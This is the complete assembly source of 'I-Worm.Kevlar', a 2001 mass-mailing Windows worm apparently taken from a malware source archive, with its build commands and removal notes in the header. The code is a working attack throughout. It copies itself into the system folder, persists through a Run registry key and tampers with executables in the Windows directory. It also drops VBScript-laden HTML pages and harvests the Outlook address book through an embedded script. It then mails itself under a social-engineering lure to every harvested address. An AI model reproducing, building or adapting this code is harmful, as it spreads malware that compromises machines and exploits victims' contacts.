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vxug-MalwareSourceCode/Win32/I-Worm.Kevlar.asm
vxunderground 4528c5fb12
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comment #
Name : I-Worm.Kevlar
Author : PetiK
Date : August 7th 2001 - August 16th 2001
Size : 5120 byte
Action : Copy itself to %System%\Kevlar32.exe hidden attribute
%System%\MScfg32.exe normal attribute
Add HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Kevlar32 = %System%\Kevlar32.exe
* Infect %Windir%\C???????.exe file on writing as "PetiK" in the file
* Infect %Windir%\*.exe It add .htm and create a new file with ActiveX
* Create C:\__.vbs This filetake all address in th e Address Book at save them in the
%windir%\AddBook.txt. The worm scan this file to find the address and send a new mail :
Subject : Windows Protect !!
Body : The smallest software to stop your computer to bug in each time.
I have found this program on WWW.KEVLAR-PROTECT.COM
Take a look at the attchment.
Bye and have a nice day.
Attachment : MScfg32.exe
* It creates the %windir%\MSinfo32.txt. I look like this :
[File Infected] => Name of C???????.exe file infected
CLEANMGR.EXE=Infected by W32.Kevlar.PetiK
CVTAPLOG.EXE=Infected by W32.Kevlar.PetiK
[EMail saved] => Some address found in the address book
first@mail.com=Next victim
second@mail.com=Next victim
To build the worm:
tasm32 /M /ML Kevlar
tlink32 -Tpe -aa -x Kevlar,,,import32
upx -9 Kevlar.exe
To delete the worm:
@echo off
del %windir%\system\Kevlar32.exe
del %windir%\system\MScfg32.exe
del %windir%\*.exe.htm
del %windir%\MSinfo32.txt
del %windir%\AddBook.txt
#
.586p
.model flat
.code
JUMPS
callx macro a
extrn a:proc
call a
endm
include useful.inc
DEBUT:
F_NAME: push 50
mov esi,offset Orig
push esi
push 0
callx GetModuleFileNameA
mov edi,offset CopyName2
push edi
push 50
push edi
callx GetSystemDirectoryA
add edi,eax
mov eax,'cSM\'
stosd
mov eax,'23gf'
stosd
mov eax,'exe.'
stosd
pop edi
push 0
push edi
push esi
callx CopyFileA
mov edi,offset CopyName
push edi
push 50
push edi
callx GetSystemDirectoryA
add edi,eax
mov al,'\'
stosb
mov eax,'lveK'
stosd
mov eax,'23ra'
stosd
mov eax,'exe.'
stosd
pop edi
push esi
callx GetFileAttributesA
cmp eax,1
je SUITE
push 0
push edi
push esi
callx CopyFileA
push 01h
push edi
callx SetFileAttributesA
REG: pushad
@pushsz "SHLWAPI.dll"
callx LoadLibraryA
test eax,eax
jz FIN
mov edi,eax
@pushsz "SHSetValueA"
push edi
callx GetProcAddress
test eax,eax
jz FIN
mov esi,eax
push 08h
push offset CopyName
push 01h
@pushsz "Kevlar32"
@pushsz "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
push 80000002h
call esi
push edi
callx FreeLibrary
popad
call Nick
mov edi,offset nickname
push 40h
@pushsz "Hello, my name is :"
push edi
push 0
callx MessageBoxA
call Infect
jmp FIN
SUITE: call Infect2
VB_F: pushad
push 00h
push 80h
push 02h
push 00h
push 01h
push 40000000h
@pushsz "C:\__.vbs"
callx CreateFileA
test eax,eax
xchg edi,eax
push 00h
push offset octets
push VBSSIZE
push offset vbsd
push edi
callx WriteFile
push edi
callx CloseHandle
popad
push 1
@pushsz "wscript C:\__.vbs"
callx WinExec
push 10000
callx Sleep
@pushsz "C:\__.vbs"
callx DeleteFileA
SCAN1: mov edi,offset addbook
push edi
push 50
push edi
callx GetWindowsDirectoryA
add edi,eax
mov eax,"ddA\"
stosd
mov eax,"kooB"
stosd
mov eax,"txt."
stosd
xor eax,eax
stosd
call OPEN
FIN: push 00h
callx ExitProcess
Nick Proc
mov edi,offset nickname
callx GetTickCount
push 9
pop ecx
xor edx,edx
div ecx
inc edx
mov ecx,edx
name_g:
push ecx
callx GetTickCount
push 'Z'-'A'
pop ecx
xor edx,edx
div ecx
xchg eax,edx
add al,'A'
stosb
callx GetTickCount
push 100
pop ecx
xor edx,edx
div ecx
push edx
callx Sleep
pop ecx
loop name_g
ret
Nick EndP
Infect Proc
pushad
push 50
push offset WinPath
callx GetWindowsDirectoryA
push offset WinPath
callx SetCurrentDirectoryA
FFF:
push offset Search
@pushsz "C???????.exe"
callx FindFirstFileA
inc eax
je F_INF
dec eax
mov [exeHdl],eax
I_FILE:
mov verif,0
xor eax,eax
push eax
push eax
push 03h
push eax
push eax
push 80000000h or 40000000h
push offset Search.cFileName
callx CreateFileA
inc eax
jz FNF
dec eax
xchg eax,ebx
xor eax,eax
push eax
push eax
push eax
push 04h
push eax
push ebx
callx CreateFileMappingA
test eax,eax
jz CL1
xchg eax,ebp
xor eax,eax
push eax
push eax
push eax
push 06h
push ebp
callx MapViewOfFile
test eax,eax
jz CL2
xchg eax,edi
mov esi,eax
cmp word ptr [esi],"ZM"
jne CL2
cmp byte ptr [esi+18h],"@"
jne CL2
cmp word ptr [esi+80h],"EP"
jne CL2
cmp byte ptr [esi+12h],"P"
je CL2
mov word ptr [esi+12h],"eP"
mov word ptr [esi+14h],"it"
mov byte ptr [esi+16h],"K"
inc verif
push edi
callx UnmapViewOfFile
CL2:
push ebp
callx CloseHandle
CL1:
push ebx
callx CloseHandle
cmp verif,1
jne FNF
mov edi,offset InfoFile
push edi
push 50
push edi
callx GetWindowsDirectoryA
add edi,eax
mov eax,'iSM\'
stosd
mov eax,'3ofn'
stosd
mov eax,'xt.2'
stosd
mov al,'t'
stosb
pop edi
mov esi,edi
push esi
@pushsz "Infected by W32.Kevlar.PetiK"
push offset Search.cFileName
@pushsz "File Infected"
callx WritePrivateProfileStringA
FNF:
push offset Search
push [exeHdl]
callx FindNextFileA
test eax,eax
jne I_FILE
FC:
push [exeHdl]
callx FindClose
F_INF:
popad
ret
Infect EndP
Infect2 Proc
pushad
push 50
push offset WinPath
callx GetWindowsDirectoryA
push offset WinPath
callx SetCurrentDirectoryA
FFF2:
push offset Search
@pushsz "*.exe"
callx FindFirstFileA
inc eax
je F_INF2
dec eax
mov [exeHdl],eax
I_FILE2:
pushad
mov edi,offset Search.cFileName
push edi
callx lstrlen
add edi,eax
mov eax,"mth."
stosd
xor eax,eax
stosd
push 00h
push 80h
push 02h
push 00h
push 01h
push 40000000h
push offset Search.cFileName
callx CreateFileA
test eax,eax
xchg ebp,eax
push 00h
push offset octets
push HTMSIZE
push offset htmd
push ebp
callx WriteFile
push ebp
callx CloseHandle
popad
FNF2:
push offset Search
push [exeHdl]
callx FindNextFileA
test eax,eax
jne I_FILE2
FC2:
push [exeHdl]
callx FindClose
F_INF2:
popad
ret
Infect2 EndP
OPEN: pushad
push 00h
push 80h
push 03h
push 00h
push 01h
push 80000000h
push offset addbook
callx CreateFileA
inc eax
je NO
dec eax
xchg eax,ebx
xor eax,eax
push eax
push eax
push eax
push 02h
push eax
push ebx
callx CreateFileMappingA
test eax,eax
je F1
xchg eax,ebp
xor eax,eax
push eax
push eax
push eax
push 04h
push ebp
callx MapViewOfFile
test eax,eax
je F2
xchg eax,esi
push 00h
push ebx
callx GetFileSize
cmp eax,03h
jbe F3 ; is the file empty ??
call SCAN
F3: push esi
callx UnmapViewOfFile
F2: push ebp
callx CloseHandle
F1: push ebx
callx CloseHandle
NO: popad
ret
SCAN:
pushad
xor edx,edx
mov edi,offset m_addr
push edi
p_c: lodsb
cmp al," "
je car_s
cmp al,0dh
je entr1
cmp al,0ah
je entr2
cmp al,"!"
je f_mail
cmp al,"@"
je not_a
inc edx
not_a: stosb
jmp p_c
car_s: inc esi
jmp p_c
entr1: xor al,al
stosb
pop edi
test edx,edx
je SCAN
call SEND_MAIL
jmp SCAN
entr2: xor al,al
stosb
pop edi
jmp SCAN
f_mail: popad
ret
SEND_MAIL:
push 50
push offset save_addr
callx GetWindowsDirectoryA
@pushsz "\MSinfo32.txt"
push offset save_addr
callx lstrcat
push offset save_addr
@pushsz "Next victim"
push offset m_addr
@pushsz "EMail saved"
callx WritePrivateProfileStringA
xor eax,eax
push eax
push eax
push offset Message
push eax
push [MAPIHdl]
callx MAPISendMail
ret
.data
; ===== INSTALLATION =====
Orig db 50 dup (0)
CopyName db 50 dup (0)
CopyName2 db 50 dup (0)
nickname db 11 dup (?)
; ===== INFECTION =====
InfoFile db 50 dup (0)
WinPath db 50 dup (0)
exeHdl dd ?
verif dd ?
octets dd ?
; ===== MAIL =====
addbook db 50 dup (0)
save_addr db 50 dup (0)
m_addr db 128 dup (?)
MAPIHdl dd 0
subject db "Windows Protect !!",00h
body db "The smallest software to stop your computer to bug in each time.",0dh,0ah
db "I have found this program on WWW.KEVLAR-PROTECT.COM",0dh,0ah,0dh,0ah
db "Take a look at the attchment.",0dh,0ah,0dh,0ah
db 09h,09h,"Bye and have a nice day.",00h
NameFrom db "Your friend",00h
Message dd ?
dd offset subject
dd offset body
dd ?
dd ?
dd ?
dd 2
dd offset MsgFrom
dd 1
dd offset MsgTo
dd 1
dd offset Attach
MsgFrom dd ?
dd ?
dd NameFrom
dd ?
dd ?
dd ?
MsgTo dd ?
dd 1
dd offset m_addr
dd offset m_addr
dd ?
dd ?
Attach dd ?
dd ?
dd ?
dd offset CopyName2
dd ?
dd ?
htmd:
db '<html><head><title>PetiKVX come back</title></head><body>',0dh,0ah
db '<script language=vbscript>',0dh,0ah
db 'on error resume next',0dh,0ah
db 'set fso=createobject("scripting.filesystemobject")',0dh,0ah
db 'If err.number=429 then',0dh,0ah
db 'document.write "<font face=''verdana'' size=''2'' color=''#FF0000''>'
db 'You need ActiveX enabled to see this file<br><a href=''javascript:location.reload()''>'
db 'Click Here</a> to reload and click Yes</font>"',0dh,0ah
db 'Else',0dh,0ah
db 'Set ws=CreateObject("WScript.Shell")',0dh,0ah
db 'document.write "<font face=''verdana'' size=''3'' color=red>'
db 'This page is generate by a worm<br>But this worm is proteced by Kevlar<br></font>"',0dh,0ah
db 'document.write "<font face=''verdana'' size=''2'' color=blue><br>'
db 'Worms are not dangerous for your computer but to survive, they must be strong</font>"',0dh,0ah
db 'ws.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.avp.ch"',0dh,0ah
db 'End If',0dh,0ah
db '</script></html>',00h
HTMSIZE = $-htmd
vbsd:
db 'On Error Resume Next',0dh,0ah
db 'Set Kevlar = CreateObject("Outlook.Application")',0dh,0ah
db 'Set L = Kevlar.GetNameSpace("MAPI")',0dh,0ah
db 'Set f=CreateObject("Scripting.FileSystemObject")',0dh,0ah
db 'Set c=f.CreateTextFile(f.GetSpecialFolder(0)&"\AddBook.txt")',0dh,0ah
db 'c.Close',0dh,0ah
db 'For Each M In L.AddressLists',0dh,0ah
db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
db 'Set P = M.AddressEntries(O)',0dh,0ah
db 'Set c=f.OpenTextFile(f.GetSpecialFolder(0)&"\AddBook.txt",8,true)',0dh,0ah
db 'c.WriteLine P.Address',0dh,0ah
db 'c.Close',0dh,0ah
db 'Next',0dh,0ah
db 'End If',0dh,0ah
db 'Next',0dh,0ah
db 'Set c=f.OpenTextFile(f.GetSpecialFolder(0)&"\AddBook.txt",8,true)',0dh,0ah
db 'c.WriteLine "!"',0dh,0ah
db 'c.Close',0dh,0ah
VBSSIZE = $-vbsd
signature db "I-Worm.Kevlar coded by PetiK (c)2001",00h
MAX_PATH equ 260
FILETIME struct
dwLowDateTime dd ?
dwHighDateTime dd ?
FILETIME ends
WIN32_FIND_DATA struct
dwFileAttributes dd ?
ftCreationTime FILETIME ?
ftLastAccessTime FILETIME ?
ftLastWriteTime FILETIME ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName dd MAX_PATH (?)
cAlternateFileName db 13 dup (?)
db 3 dup (?)
WIN32_FIND_DATA ends
Search WIN32_FIND_DATA <>
end DEBUT
end
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